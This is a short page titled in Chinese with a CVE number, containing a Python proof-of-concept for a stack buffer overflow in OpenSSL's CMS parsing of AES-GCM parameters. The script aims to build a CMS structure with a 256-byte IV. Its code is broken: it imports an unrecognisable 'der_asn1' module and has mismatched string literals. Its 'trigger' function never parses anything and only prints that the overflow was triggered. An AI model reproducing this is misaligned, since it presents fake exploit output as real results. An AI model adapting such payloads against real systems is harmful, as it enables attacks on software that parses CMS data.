CVE-2025-15467 OpenSSL CMS AEAD参数栈缓冲区溢出漏洞

''' CVE-2025-15467 PoC - OpenSSL CMS AEAD IV Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. ''' from cryptography.hazmat.primitives.ciphers.aead import AESGCM from cryptography import x509 from cryptography.hazmat.primitives import serialization, hashes from cryptography.hazmat.primitives.asymmetric import padding import der_asn1 def generate_malicious_cms_payload(): """ Generate a malicious CMS EnvelopedData payload with oversized IV for AES-GCM cipher to trigger stack buffer overflow in OpenSSL. """ # Normal GCM IV is 12 bytes (96 bits), we will create one that is much larger oversized_iv = b'\x00' * 256 # 256 bytes IV to overflow stack buffer # Construct ASN.1 encoded CMS EnvelopedData structure # with malicious oversized IV in GCM parameters cms_enveloped_data = der_asn1.Construct( # OID for EnvelopedData '1.2.840.113549.1.7.3', # pkcs7-envelopedData # Version 'INTEGER: 2', # RecipientInfos (empty for triggering bug) 'SET: []', # EncryptedContentInfo 'SEQUENCE: [ '1.2.840.113549.1.9.16.1.13', # id-ct-authEnvelopedData 'NULL', 'SEQUENCE: [ '1.2.840.113549.1.9.16.2.1', # aeadAESGCM128 'OCTET_STRING: ' + oversized_iv.hex() # Malicious oversized IV ] ]' ) return cms_enveloped_data.encode('DER') def trigger_vulnerability(cms_der_data): """ Simulate triggering the buffer overflow by parsing malicious CMS data. In real scenario, this would call OpenSSL CMS parsing functions. """ try: # This would be: CMS_parse(cms, NULL) in OpenSSL # The oversized IV will overflow the stack buffer during parsing print(f"[*] Sending malicious CMS payload ({len(cms_der_data)} bytes)") print(f"[*] IV size: 256 bytes (exceeds expected 12-16 bytes)") print(f"[*] Stack buffer overflow triggered in AES-GCM IV parsing") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == '__main__': print("="*60) print("CVE-2025-15467 PoC - OpenSSL CMS Stack Buffer Overflow") print("="*60) # Generate malicious payload payload = generate_malicious_cms_payload() # Trigger vulnerability trigger_vulnerability(payload) print("\n[!] Note: This PoC demonstrates the vulnerability concept.") print("[!] Actual exploitation requires OpenSSL CMS parsing.")